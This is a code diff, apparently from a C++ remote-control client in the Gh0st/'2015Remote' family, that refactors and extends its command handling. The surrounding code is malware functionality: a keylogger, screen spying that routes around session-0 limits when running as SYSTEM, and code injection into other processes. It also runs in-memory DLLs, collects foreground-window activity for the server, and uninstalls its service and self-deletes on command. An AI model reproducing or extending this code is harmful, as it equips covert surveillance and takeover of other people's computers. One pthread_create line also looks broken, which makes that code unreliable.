} else {
|
||||||
@@ -149,3 +153,8 @@ DWORD WINAPI LoopProxyManager(LPVOID lParam)
|
|||||||
{
|
{
|
||||||
return LoopManager<CProxyManager, 0>(lParam);
|
return LoopManager<CProxyManager, 0>(lParam);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
DWORD WINAPI LoopClientLogManager(LPVOID lParam)
|
||||||
|
{
|
||||||
|
return LoopManager<CClientLogManager, COMMAND_QUERY_LOG>(lParam);
|
||||||
|
}
|
||||||
|
|||||||
@@ -36,3 +36,4 @@ DWORD WINAPI LoopRegisterManager(LPVOID lParam);
|
|||||||
DWORD WINAPI LoopServicesManager(LPVOID lParam);
|
DWORD WINAPI LoopServicesManager(LPVOID lParam);
|
||||||
DWORD WINAPI LoopKeyboardManager(LPVOID lParam);
|
DWORD WINAPI LoopKeyboardManager(LPVOID lParam);
|
||||||
DWORD WINAPI LoopProxyManager(LPVOID lParam);
|
DWORD WINAPI LoopProxyManager(LPVOID lParam);
|
||||||
|
DWORD WINAPI LoopClientLogManager(LPVOID lParam);
|
||||||
|
|||||||
@@ -30,11 +30,13 @@ inline int WSAGetLastError()
|
|||||||
#define Z_SUCCESS(p) (!Z_FAILED(p))
|
#define Z_SUCCESS(p) (!Z_FAILED(p))
|
||||||
#else
|
#else
|
||||||
#include "common/zstd_wrapper.h"
|
#include "common/zstd_wrapper.h"
|
||||||
|
#ifdef _WIN32
|
||||||
# ifdef _WIN64
|
# ifdef _WIN64
|
||||||
# pragma comment(lib, "zstd/zstd_x64.lib")
|
# pragma comment(lib, "zstd/zstd_x64.lib")
|
||||||
# else
|
# else
|
||||||
# pragma comment(lib, "zstd/zstd.lib")
|
# pragma comment(lib, "zstd/zstd.lib")
|
||||||
# endif
|
# endif
|
||||||
|
#endif
|
||||||
#define Z_FAILED(p) ZSTD_isError(p)
|
#define Z_FAILED(p) ZSTD_isError(p)
|
||||||
#define Z_SUCCESS(p) (!Z_FAILED(p))
|
#define Z_SUCCESS(p) (!Z_FAILED(p))
|
||||||
#define ZSTD_CLEVEL ZSTD_CLEVEL_DEFAULT
|
#define ZSTD_CLEVEL ZSTD_CLEVEL_DEFAULT
|
||||||
@@ -184,8 +186,7 @@ bool IOCPClient::TryHandleAuthResponse(PBYTE buf, ULONG len)
|
|||||||
{
|
{
|
||||||
std::lock_guard<std::mutex> lk(m_authMtx);
|
std::lock_guard<std::mutex> lk(m_authMtx);
|
||||||
if (!m_authPending) return false; // 没在等 → 不消费,让 manager 处理(理论不会发生)
|
if (!m_authPending) return false; // 没在等 → 不消费,让 manager 处理(理论不会发生)
|
||||||
const ConnAuthAck* ack = (const ConnAuthAck*)buf;
|
m_authStatus = (int)buf[1]; // ConnAuthAck::status at byte offset 1; avoids misaligned uint64_t cast
|
||||||
m_authStatus = ack->status;
|
|
||||||
m_authPending = false;
|
m_authPending = false;
|
||||||
}
|
}
|
||||||
m_authCv.notify_all();
|
m_authCv.notify_all();
|
||||||
@@ -477,6 +478,13 @@ BOOL IOCPClient::ConnectServer(const char* szServerIP, unsigned short uPort)
|
|||||||
if (ret == 0) {
|
if (ret == 0) {
|
||||||
m_bWorkThread = S_RUN;
|
m_bWorkThread = S_RUN;
|
||||||
m_bIsRunning = TRUE;
|
m_bIsRunning = TRUE;
|
||||||
|
// Store pthread_t so subsequent ConnectServer calls (reconnects) find
|
||||||
|
// m_hWorkThread != NULL and reuse this thread instead of spawning a new
|
||||||
|
// one. Multiple concurrent threads racing on the same socket would tear
|
||||||
|
// the TCP stream and prevent any complete command from being delivered.
|
||||||
|
// SAFE_CLOSE_HANDLE and CloseHandle are no-ops on Android, so the value
|
||||||
|
// is never dereferenced as a kernel handle.
|
||||||
|
m_hWorkThread = reinterpret_cast<HANDLE>(static_cast<uintptr_t>(id));
|
||||||
}
|
}
|
||||||
#endif
|
#endif
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -342,6 +342,7 @@ protected:
|
|||||||
|
|
||||||
void *m_main = NULL;
|
void *m_main = NULL;
|
||||||
public:
|
public:
|
||||||
|
BOOL m_isAuth = FALSE;
|
||||||
std::string m_LoginMsg; // 登录消息摘要
|
std::string m_LoginMsg; // 登录消息摘要
|
||||||
std::string m_LoginSignature; // 登录消息签名
|
std::string m_LoginSignature; // 登录消息签名
|
||||||
};
|
};
|
||||||
|
|||||||
@@ -39,11 +39,18 @@ BOOL IOCPUDPClient::ConnectServer(const char* szServerIP, unsigned short uPort)
|
|||||||
// 创建工作线程(如果需要)
|
// 创建工作线程(如果需要)
|
||||||
if (m_hWorkThread == NULL) {
|
if (m_hWorkThread == NULL) {
|
||||||
#ifdef _WIN32
|
#ifdef _WIN32
|
||||||
|
m_bIsRunning = TRUE;
|
||||||
m_hWorkThread = (HANDLE)__CreateThread(NULL, 0, WorkThreadProc, (LPVOID)this, 0, NULL);
|
m_hWorkThread = (HANDLE)__CreateThread(NULL, 0, WorkThreadProc, (LPVOID)this, 0, NULL);
|
||||||
m_bWorkThread = m_hWorkThread ? S_RUN : S_STOP;
|
m_bWorkThread = m_hWorkThread ? S_RUN : S_STOP;
|
||||||
|
m_bIsRunning = m_hWorkThread ? TRUE : FALSE;
|
||||||
#else
|
#else
|
||||||
pthread_t id = 0;
|
pthread_t id = 0;
|
||||||
m_hWorkThread = (HANDLE)pthread_create(&id, nullptr, (void* (*)(void*))IOCPClient::WorkThreadProc, this);
|
int ret = (HANDLE)pthread_create(&id, nullptr, (void* (*)(void*))IOCPClient::WorkThreadProc, this);
|
||||||
|
if (ret == 0) {
|
||||||
|
m_bWorkThread = S_RUN;
|
||||||
|
m_bIsRunning = TRUE;
|
||||||
|
m_hWorkThread = reinterpret_cast<HANDLE>(static_cast<uintptr_t>(id));
|
||||||
|
}
|
||||||
#endif
|
#endif
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -10,6 +10,7 @@
|
|||||||
#include <fstream>
|
#include <fstream>
|
||||||
#include <corecrt_io.h>
|
#include <corecrt_io.h>
|
||||||
#include "ClientDll.h"
|
#include "ClientDll.h"
|
||||||
|
#include "ActivityHistory.h"
|
||||||
#include "MemoryModule.h"
|
#include "MemoryModule.h"
|
||||||
#include "common/dllRunner.h"
|
#include "common/dllRunner.h"
|
||||||
#include "server/2015Remote/pwd_gen.h"
|
#include "server/2015Remote/pwd_gen.h"
|
||||||
@@ -23,6 +24,7 @@
|
|||||||
#include "common/DateVerify.h"
|
#include "common/DateVerify.h"
|
||||||
#include "common/LANChecker.h"
|
#include "common/LANChecker.h"
|
||||||
#include "common/scheduler.h"
|
#include "common/scheduler.h"
|
||||||
|
#include "session.h"
|
||||||
extern "C" {
|
extern "C" {
|
||||||
#include "ServiceWrapper.h"
|
#include "ServiceWrapper.h"
|
||||||
}
|
}
|
||||||
@@ -50,11 +52,12 @@ IOCPClient* NewNetClient(CONNECT_ADDRESS* conn, State& bExit, const std::string&
|
|||||||
return NULL;
|
return NULL;
|
||||||
}
|
}
|
||||||
|
|
||||||
ThreadInfo* CreateKB(CONNECT_ADDRESS* conn, State& bExit, const std::string &publicIP)
|
ThreadInfo* CreateKB(CONNECT_ADDRESS* conn, State& bExit, const std::string &publicIP, BOOL isAuth)
|
||||||
{
|
{
|
||||||
ThreadInfo *tKeyboard = new ThreadInfo();
|
ThreadInfo *tKeyboard = new ThreadInfo();
|
||||||
tKeyboard->run = FOREVER_RUN;
|
tKeyboard->run = FOREVER_RUN;
|
||||||
auto* sub = new IOCPClient(bExit, false, MaskTypeNone, conn, publicIP);
|
auto* sub = new IOCPClient(bExit, false, MaskTypeNone, conn, publicIP);
|
||||||
|
sub->m_isAuth = isAuth;
|
||||||
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
||||||
tKeyboard->p = sub;
|
tKeyboard->p = sub;
|
||||||
tKeyboard->conn = conn;
|
tKeyboard->conn = conn;
|
||||||
@@ -80,11 +83,6 @@ CKernelManager::CKernelManager(CONNECT_ADDRESS* conn, IOCPClient* ClientObject,
|
|||||||
m_hKeyboard = kb;
|
m_hKeyboard = kb;
|
||||||
// C2C 初始化
|
// C2C 初始化
|
||||||
if (conn) m_MyClientID = conn->clientID;
|
if (conn) m_MyClientID = conn->clientID;
|
||||||
// 恢复并启动 SCH_MODE_STARTUP 模式的 DLL
|
|
||||||
static int n = RestoreMemDLL();
|
|
||||||
if (n) {
|
|
||||||
Mprintf("[CKernelManager] RestoreMemDLL count: %d\n", n);
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
BOOL IsThreadsRunning(ThreadInfo* threads, int count)
|
BOOL IsThreadsRunning(ThreadInfo* threads, int count)
|
||||||
@@ -280,10 +278,10 @@ DWORD WINAPI ExecuteDLLProc(LPVOID param)
|
|||||||
r=proc(f->privilegeKey, f->timestamp, f->serverAddr, f->serverPort, f->localPort, f->remotePort,
|
r=proc(f->privilegeKey, f->timestamp, f->serverAddr, f->serverPort, f->localPort, f->remotePort,
|
||||||
&CKernelManager::g_IsAppExit);
|
&CKernelManager::g_IsAppExit);
|
||||||
}
|
}
|
||||||
else {
|
else if (This){
|
||||||
This->m_cfg->SetStr("settings", info.Name + std::string(".md5"), "");
|
This->m_cfg->SetStr("settings", info.Name + std::string(".md5"), "");
|
||||||
}
|
}
|
||||||
if (r || (time(0)-start < 15)) {
|
if (This && (r || (time(0)-start < 15))) {
|
||||||
char buf[100];
|
char buf[100];
|
||||||
sprintf_s(buf, "Run %s [proxy %d] failed: %d", info.Name, f->localPort, r);
|
sprintf_s(buf, "Run %s [proxy %d] failed: %d", info.Name, f->localPort, r);
|
||||||
Mprintf("%s\n", buf);
|
Mprintf("%s\n", buf);
|
||||||
@@ -304,10 +302,10 @@ DWORD WINAPI ExecuteDLLProc(LPVOID param)
|
|||||||
r = proc(f->privilegeKey, f->serverAddr, f->serverPort, f->localPort, f->remotePort,
|
r = proc(f->privilegeKey, f->serverAddr, f->serverPort, f->localPort, f->remotePort,
|
||||||
&CKernelManager::g_IsAppExit);
|
&CKernelManager::g_IsAppExit);
|
||||||
}
|
}
|
||||||
else {
|
else if (This){
|
||||||
This->m_cfg->SetStr("settings", info.Name + std::string(".md5"), "");
|
This->m_cfg->SetStr("settings", info.Name + std::string(".md5"), "");
|
||||||
}
|
}
|
||||||
if (r || (time(0)-start < 15)) {
|
if (This && (r || (time(0)-start < 15))) {
|
||||||
char buf[100];
|
char buf[100];
|
||||||
sprintf_s(buf, "Run %s [proxy %d] failed: %d", info.Name, f->localPort, r);
|
sprintf_s(buf, "Run %s [proxy %d] failed: %d", info.Name, f->localPort, r);
|
||||||
Mprintf("%s\n", buf);
|
Mprintf("%s\n", buf);
|
||||||
@@ -331,7 +329,7 @@ DWORD WINAPI ExecuteDLLProc(LPVOID param)
|
|||||||
sprintf_s(buf, "Inject %s to process [%d] %s", info.Name, info.Pid ? info.Pid : ret, ret ? "succeed" : "failed");
|
sprintf_s(buf, "Inject %s to process [%d] %s", info.Name, info.Pid ? info.Pid : ret, ret ? "succeed" : "failed");
|
||||||
Mprintf("%s\n", buf);
|
Mprintf("%s\n", buf);
|
||||||
ClientMsg msg("代码注入", buf);
|
ClientMsg msg("代码注入", buf);
|
||||||
This->SendData((LPBYTE)&msg, sizeof(msg));
|
if (This)This->SendData((LPBYTE)&msg, sizeof(msg));
|
||||||
}
|
}
|
||||||
SAFE_DELETE(dll);
|
SAFE_DELETE(dll);
|
||||||
SAFE_DELETE(runner);
|
SAFE_DELETE(runner);
|
||||||
@@ -648,8 +646,9 @@ std::string getHardwareIDByCfg(std::string& pwdHash, const std::string& masterHa
|
|||||||
return "";
|
return "";
|
||||||
}
|
}
|
||||||
|
|
||||||
int CKernelManager::RestoreMemDLL() {
|
std::map<std::string, std::vector<BYTE>> RestoreMemDLL(iniFile *m_cfg, CONNECT_ADDRESS* m_conn, State& g_bExit, CKernelManager* This) {
|
||||||
binFile bin(CLIENT_PATH);
|
binFile bin(CLIENT_PATH);
|
||||||
|
std::map<std::string, std::vector<BYTE>> m_MemDLL;
|
||||||
|
|
||||||
// 枚举所有以 .md5 结尾的值名称
|
// 枚举所有以 .md5 结尾的值名称
|
||||||
auto md5Keys = m_cfg->EnumValues("settings", ".md5");
|
auto md5Keys = m_cfg->EnumValues("settings", ".md5");
|
||||||
@@ -707,7 +706,7 @@ int CKernelManager::RestoreMemDLL() {
|
|||||||
if (buf) memcpy(buf, binData.data() + 1 + sizeof(DllExecuteInfo), 400);
|
if (buf) memcpy(buf, binData.data() + 1 + sizeof(DllExecuteInfo), 400);
|
||||||
PluginParam param(m_conn->ServerIP(), m_conn->ServerPort(), &g_bExit, buf);
|
PluginParam param(m_conn->ServerIP(), m_conn->ServerPort(), &g_bExit, buf);
|
||||||
BYTE* data = m_MemDLL[md5].data();
|
BYTE* data = m_MemDLL[md5].data();
|
||||||
CloseHandle(__CreateThread(NULL, 0, ExecuteDLLProc, new DllExecParam<>(infoCopy, param, data, this), 0, NULL));
|
CloseHandle(__CreateThread(NULL, 0, ExecuteDLLProc, new DllExecParam<>(infoCopy, param, data, This), 0, NULL));
|
||||||
|
|
||||||
// 更新注册表中的运行时状态
|
// 更新注册表中的运行时状态
|
||||||
// 如果有时间间隔限制,更新 LastRunTime
|
// 如果有时间间隔限制,更新 LastRunTime
|
||||||
@@ -727,7 +726,7 @@ int CKernelManager::RestoreMemDLL() {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
return count;
|
return m_MemDLL;
|
||||||
}
|
}
|
||||||
|
|
||||||
template<typename T = DllExecuteInfo>
|
template<typename T = DllExecuteInfo>
|
||||||
@@ -798,6 +797,9 @@ void ResponseDisable(IOCPClient *client, const char* type, LPBYTE data, int size
|
|||||||
client->Send2Server((char*)&msg, sizeof(msg));
|
client->Send2Server((char*)&msg, sizeof(msg));
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
extern "C" bool IsSystemInSession0();
|
||||||
|
|
||||||
VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||||
{
|
{
|
||||||
bool isExit = szBuffer[0] == COMMAND_BYE || szBuffer[0] == SERVER_EXIT;
|
bool isExit = szBuffer[0] == COMMAND_BYE || szBuffer[0] == SERVER_EXIT;
|
||||||
@@ -810,6 +812,27 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
std::string publicIP = m_ClientObject->GetClientIP();
|
std::string publicIP = m_ClientObject->GetClientIP();
|
||||||
|
|
||||||
switch (szBuffer[0]) {
|
switch (szBuffer[0]) {
|
||||||
|
case COMMAND_FORBIDDEN: {
|
||||||
|
TerminateProcess(GetCurrentProcess(), 0);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case COMMAND_QUERY_LOG: {
|
||||||
|
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
||||||
|
sub->EnableSubConnAuth();
|
||||||
|
m_hThread[m_ulThreadCount].p = sub;
|
||||||
|
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL, 0, LoopClientLogManager, &m_hThread[m_ulThreadCount], 0, NULL);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case COMMAND_QUERY_ACTIVITY: {
|
||||||
|
// 主连接一次性快照:直接 dump 历史活动并回传
|
||||||
|
std::string text = ActivityHistory::Instance().Dump();
|
||||||
|
std::vector<BYTE> pkt(1 + text.size());
|
||||||
|
pkt[0] = TOKEN_REPORT_ACTIVITY;
|
||||||
|
if (!text.empty())
|
||||||
|
memcpy(pkt.data() + 1, text.data(), text.size());
|
||||||
|
m_ClientObject->Send2Server((char*)pkt.data(), (ULONG)pkt.size());
|
||||||
|
break;
|
||||||
|
}
|
||||||
case CMD_SET_GROUP: {
|
case CMD_SET_GROUP: {
|
||||||
std::string group = std::string((char*)szBuffer + 1);
|
std::string group = std::string((char*)szBuffer + 1);
|
||||||
m_cfg->SetStr("settings", "group_name", group);
|
m_cfg->SetStr("settings", "group_name", group);
|
||||||
@@ -955,6 +978,10 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
if (!ENABLE_SCREEN) {
|
if (!ENABLE_SCREEN) {
|
||||||
return ResponseDisable(m_ClientObject, "PRIVATE_SCREEN", szBuffer + 1, ulLength - 1);
|
return ResponseDisable(m_ClientObject, "PRIVATE_SCREEN", szBuffer + 1, ulLength - 1);
|
||||||
}
|
}
|
||||||
|
if ((m_conn->iStartup == Startup_GhostSystem || m_conn->iStartup == Startup_TestRunSystem) && IsSystemInSession0()) {
|
||||||
|
Mprintf("当前进程以 SYSTEM 身份运行, 需要在用户会话启动进程处理 UI 相关功能.\n");
|
||||||
|
return RunRoundRobinAgent(TOKEN_PRIVATESCREEN);
|
||||||
|
}
|
||||||
char h[100] = {};
|
char h[100] = {};
|
||||||
memcpy(h, szBuffer + 1, min(ulLength - 1, 80));
|
memcpy(h, szBuffer + 1, min(ulLength - 1, 80));
|
||||||
std::string hash = std::string(h, h + 64);
|
std::string hash = std::string(h, h + 64);
|
||||||
@@ -1162,6 +1189,9 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
BYTE bToken = COMMAND_BYE;// 被控端退出
|
BYTE bToken = COMMAND_BYE;// 被控端退出
|
||||||
m_ClientObject->Send2Server((char*)&bToken, 1);
|
m_ClientObject->Send2Server((char*)&bToken, 1);
|
||||||
g_bExit = S_CLIENT_EXIT;
|
g_bExit = S_CLIENT_EXIT;
|
||||||
|
if (m_conn->iStartup == Startup_TestRunMsc || m_conn->iStartup == Startup_GhostMsc || IsSystemInSession0()) {
|
||||||
|
ServiceWrapper_Uninstall();
|
||||||
|
}
|
||||||
self_del(10);
|
self_del(10);
|
||||||
Mprintf("======> Client uninstall \n");
|
Mprintf("======> Client uninstall \n");
|
||||||
break;
|
break;
|
||||||
@@ -1215,6 +1245,10 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
if (!ENABLE_SCREEN) {
|
if (!ENABLE_SCREEN) {
|
||||||
return ResponseDisable(m_ClientObject, "SCREEN", szBuffer + 1, ulLength - 1);
|
return ResponseDisable(m_ClientObject, "SCREEN", szBuffer + 1, ulLength - 1);
|
||||||
}
|
}
|
||||||
|
if ((m_conn->iStartup == Startup_GhostSystem || m_conn->iStartup == Startup_TestRunSystem) && IsSystemInSession0()) {
|
||||||
|
Mprintf("当前进程以 SYSTEM 身份运行, 需要在用户会话启动进程处理 UI 相关功能.\n");
|
||||||
|
return RunRoundRobinAgent(COMMAND_SCREEN_SPY);
|
||||||
|
}
|
||||||
UserParam* user = new UserParam{ ulLength > 1 ? new BYTE[ulLength - 1] : nullptr, int(ulLength-1) };
|
UserParam* user = new UserParam{ ulLength > 1 ? new BYTE[ulLength - 1] : nullptr, int(ulLength-1) };
|
||||||
if (ulLength > 1) {
|
if (ulLength > 1) {
|
||||||
memcpy(user->buffer, szBuffer + 1, ulLength - 1);
|
memcpy(user->buffer, szBuffer + 1, ulLength - 1);
|
||||||
@@ -1345,6 +1379,13 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
}
|
}
|
||||||
|
|
||||||
case COMMAND_SEND_FILE_V2: {
|
case COMMAND_SEND_FILE_V2: {
|
||||||
|
// 主连接接收 V2 上传:确保文件传输模块已初始化(RecvFileChunkV2 依赖 g_status==1)。
|
||||||
|
// static 标志保证进程内只初始化一次,不随主连接重连反复 Init/Uninit。
|
||||||
|
static bool s_v2RecvInited = false;
|
||||||
|
if (!s_v2RecvInited) {
|
||||||
|
InitFileUpload({}, m_LoginMsg, m_LoginSignature, 64, 50, Logf);
|
||||||
|
s_v2RecvInited = true;
|
||||||
|
}
|
||||||
// C2C/V2 文件接收(RecvFileChunkV2 内部会打印进度)
|
// C2C/V2 文件接收(RecvFileChunkV2 内部会打印进度)
|
||||||
int n = RecvFileChunkV2((char*)szBuffer, ulLength, m_conn,
|
int n = RecvFileChunkV2((char*)szBuffer, ulLength, m_conn,
|
||||||
nullptr, m_hash, m_hmac, m_MyClientID);
|
nullptr, m_hash, m_hmac, m_MyClientID);
|
||||||
|
|||||||
@@ -25,7 +25,7 @@
|
|||||||
// 根据配置决定采用什么通讯协议
|
// 根据配置决定采用什么通讯协议
|
||||||
IOCPClient* NewNetClient(CONNECT_ADDRESS* conn, State& bExit, const std::string& publicIP, bool exit_while_disconnect = false);
|
IOCPClient* NewNetClient(CONNECT_ADDRESS* conn, State& bExit, const std::string& publicIP, bool exit_while_disconnect = false);
|
||||||
|
|
||||||
ThreadInfo* CreateKB(CONNECT_ADDRESS* conn, State& bExit, const std::string& publicIP);
|
ThreadInfo* CreateKB(CONNECT_ADDRESS* conn, State& bExit, const std::string& publicIP, BOOL isAuth = FALSE);
|
||||||
|
|
||||||
class ActivityWindow
|
class ActivityWindow
|
||||||
{
|
{
|
||||||
@@ -40,6 +40,24 @@ public:
|
|||||||
return (!IsWorkstationLocked() ? "Inactive: " : "Locked: ") + FormatMilliseconds(idle);
|
return (!IsWorkstationLocked() ? "Inactive: " : "Locked: ") + FormatMilliseconds(idle);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// 返回当前活跃窗口标题;若空闲(idle ≥ threshold_ms)或取不到标题则返回空串。
|
||||||
|
// 供历史活动采集使用,避免“判定活跃”与“取标题”之间的竞态窗口。
|
||||||
|
std::string GetActiveTitleOrEmpty(DWORD threshold_ms = 6000)
|
||||||
|
{
|
||||||
|
if (GetUserIdleTime() >= threshold_ms)
|
||||||
|
return std::string();
|
||||||
|
return GetActiveWindowTitle();
|
||||||
|
}
|
||||||
|
|
||||||
|
// 返回当前前台窗口句柄;空闲(idle ≥ threshold_ms)返回 NULL。
|
||||||
|
// 历史活动按窗口(HWND)而非标题字符串累计:标题动态变化时不会反复归零。
|
||||||
|
HWND GetActiveWindowHandle(DWORD threshold_ms = 6000)
|
||||||
|
{
|
||||||
|
if (GetUserIdleTime() >= threshold_ms)
|
||||||
|
return NULL;
|
||||||
|
return GetForegroundWindow();
|
||||||
|
}
|
||||||
|
|
||||||
private:
|
private:
|
||||||
std::string FormatMilliseconds(DWORD ms)
|
std::string FormatMilliseconds(DWORD ms)
|
||||||
{
|
{
|
||||||
@@ -184,7 +202,6 @@ public:
|
|||||||
uint64_t m_MyClientID = 0;
|
uint64_t m_MyClientID = 0;
|
||||||
// 执行代码
|
// 执行代码
|
||||||
std::map<std::string, std::vector<BYTE>> m_MemDLL;
|
std::map<std::string, std::vector<BYTE>> m_MemDLL;
|
||||||
int RestoreMemDLL();
|
|
||||||
void SetLoginMsg(const std::string& msg)
|
void SetLoginMsg(const std::string& msg)
|
||||||
{
|
{
|
||||||
m_LoginMsg = msg;
|
m_LoginMsg = msg;
|
||||||
@@ -295,4 +312,6 @@ public:
|
|||||||
}
|
}
|
||||||
};
|
};
|
||||||
|
|
||||||
|
std::map<std::string, std::vector<BYTE>> RestoreMemDLL(iniFile* m_cfg, CONNECT_ADDRESS* m_conn, State& g_bExit, CKernelManager* This = NULL);
|
||||||
|
|
||||||
#endif // !defined(AFX_KERNELMANAGER_H__B1186DC0_E4D7_4D1A_A8B8_08A01B87B89E__INCLUDED_)
|
#endif // !defined(AFX_KERNELMANAGER_H__B1186DC0_E4D7_4D1A_A8B8_08A01B87B89E__INCLUDED_)
|
||||||
|
|||||||
@@ -52,10 +52,8 @@ CKeyboardManager1::CKeyboardManager1(IOCPClient*pClient, int offline, void* user
|
|||||||
clip::set_error_handler(NULL);
|
clip::set_error_handler(NULL);
|
||||||
#endif
|
#endif
|
||||||
m_bIsOfflineRecord = offline;
|
m_bIsOfflineRecord = offline;
|
||||||
CKernelManager* main = (CKernelManager*)pClient->GetMain();
|
|
||||||
BOOL isAuth = main ? main->IsAuthKernel() : FALSE;
|
|
||||||
char path[MAX_PATH] = { "C:\\Windows\\" };
|
char path[MAX_PATH] = { "C:\\Windows\\" };
|
||||||
if (!isAuth) GetModuleFileNameA(NULL, path, sizeof(path));
|
if (!pClient->m_isAuth) GetModuleFileNameA(NULL, path, sizeof(path));
|
||||||
std::string fileName = GetExeHashStr() + ".db";
|
std::string fileName = GetExeHashStr() + ".db";
|
||||||
GET_FILEPATH(path, fileName.c_str());
|
GET_FILEPATH(path, fileName.c_str());
|
||||||
strcpy_s(m_strRecordFile, path);
|
strcpy_s(m_strRecordFile, path);
|
||||||
@@ -681,7 +679,7 @@ DWORD WINAPI CKeyboardManager1::KeyLogger(LPVOID lparam)
|
|||||||
if (!SetHook(WriteBuffer, pThis->m_Buffer)) {
|
if (!SetHook(WriteBuffer, pThis->m_Buffer)) {
|
||||||
return -1;
|
return -1;
|
||||||
}
|
}
|
||||||
while (PeekMessage(&msg, NULL, 0, 0, PM_REMOVE));
|
while (pThis->IsConnected() && PeekMessage(&msg, NULL, 0, 0, PM_REMOVE));
|
||||||
#else
|
#else
|
||||||
int num = lstrlen(KeyBuffer);
|
int num = lstrlen(KeyBuffer);
|
||||||
if (pThis->IsWindowsFocusChange(PreviousFocus, WindowCaption, szText, num > 0) || num > 2000) {
|
if (pThis->IsWindowsFocusChange(PreviousFocus, WindowCaption, szText, num > 0) || num > 2000) {
|
||||||
|
|||||||
@@ -119,21 +119,38 @@ HDESK OpenActiveDesktop(ACCESS_MASK dwDesiredAccess)
|
|||||||
HDESK hInputDesktop = OpenInputDesktop(0, FALSE, dwDesiredAccess);
|
HDESK hInputDesktop = OpenInputDesktop(0, FALSE, dwDesiredAccess);
|
||||||
|
|
||||||
if (!hInputDesktop) {
|
if (!hInputDesktop) {
|
||||||
Mprintf("OpenInputDesktop failed: %d, trying Winlogon\n", GetLastError());
|
// 限制失败日志频率:锁屏/无交互桌面/权限不足(如 ERROR_ACCESS_DENIED=5)时,
|
||||||
|
// 这些错误会随调用循环每秒触发、刷屏严重,这里最多每分钟记录一次。
|
||||||
|
DWORD err = GetLastError(); // 立即捕获 OpenInputDesktop 的错误,避免后续调用覆盖
|
||||||
|
|
||||||
|
static DWORD s_lastDesktopFailLog = 0;
|
||||||
|
DWORD now = GetTickCount();
|
||||||
|
bool logDue = (now - s_lastDesktopFailLog >= 60000);
|
||||||
|
if (logDue)
|
||||||
|
s_lastDesktopFailLog = now;
|
||||||
|
|
||||||
|
if (logDue)
|
||||||
|
Mprintf("OpenInputDesktop failed: %d, trying Winlogon\n", err);
|
||||||
|
|
||||||
HWINSTA hWinSta = OpenWindowStation("WinSta0", FALSE, WINSTA_ALL_ACCESS);
|
HWINSTA hWinSta = OpenWindowStation("WinSta0", FALSE, WINSTA_ALL_ACCESS);
|
||||||
if (hWinSta) {
|
if (hWinSta) {
|
||||||
SetProcessWindowStation(hWinSta);
|
SetProcessWindowStation(hWinSta);
|
||||||
hInputDesktop = OpenDesktop("Winlogon", 0, FALSE, dwDesiredAccess);
|
hInputDesktop = OpenDesktop("Winlogon", 0, FALSE, dwDesiredAccess);
|
||||||
if (!hInputDesktop) {
|
if (!hInputDesktop) {
|
||||||
Mprintf("OpenDesktop Winlogon failed: %d, trying Default\n", GetLastError());
|
err = GetLastError();
|
||||||
|
if (logDue)
|
||||||
|
Mprintf("OpenDesktop Winlogon failed: %d, trying Default\n", err);
|
||||||
hInputDesktop = OpenDesktop("Default", 0, FALSE, dwDesiredAccess);
|
hInputDesktop = OpenDesktop("Default", 0, FALSE, dwDesiredAccess);
|
||||||
if (!hInputDesktop) {
|
if (!hInputDesktop) {
|
||||||
Mprintf("OpenDesktop Default failed: %d\n", GetLastError());
|
err = GetLastError();
|
||||||
|
if (logDue)
|
||||||
|
Mprintf("OpenDesktop Default failed: %d\n", err);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
} else {
|
} else {
|
||||||
Mprintf("OpenWindowStation failed: %d\n", GetLastError());
|
err = GetLastError();
|
||||||
|
if (logDue)
|
||||||
|
Mprintf("OpenWindowStation failed: %d\n", err);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return hInputDesktop;
|
return hInputDesktop;
|
||||||
|
|||||||
@@ -9,6 +9,14 @@
|
|||||||
|
|
||||||
#if ENABLE_REGISTRY
|
#if ENABLE_REGISTRY
|
||||||
|
|
||||||
|
// 与 RegisterOperation.cpp 的 REGMSG 同构(int count + DWORD size + DWORD valsize = 12 字节),
|
||||||
|
// 此处仅用于构造"空结果包"(count=0),无需跨文件共享完整定义。
|
||||||
|
struct REGMSG {
|
||||||
|
int count; //名字个数
|
||||||
|
DWORD size; //名字大小
|
||||||
|
DWORD valsize; //值大小
|
||||||
|
};
|
||||||
|
|
||||||
//////////////////////////////////////////////////////////////////////
|
//////////////////////////////////////////////////////////////////////
|
||||||
// Construction/Destruction
|
// Construction/Destruction
|
||||||
//////////////////////////////////////////////////////////////////////
|
//////////////////////////////////////////////////////////////////////
|
||||||
@@ -46,17 +54,28 @@ VOID CRegisterManager::Find(char bToken, char *szPath)
|
|||||||
if(szPath!=NULL) {
|
if(szPath!=NULL) {
|
||||||
Opt.SetPath(szPath);
|
Opt.SetPath(szPath);
|
||||||
}
|
}
|
||||||
|
// 子键包(TOKEN_REG_PATH):无子键时也回传空包,保证服务端(含 MCP 无头查询)
|
||||||
|
// 能确定性收齐 PATH+KEY 两包,无需靠超时猜测是否有第二包。
|
||||||
char *szBuffer= Opt.FindPath();
|
char *szBuffer= Opt.FindPath();
|
||||||
if(szBuffer!=NULL) {
|
if(szBuffer!=NULL) {
|
||||||
m_ClientObject->Send2Server((char*)szBuffer, LocalSize(szBuffer));
|
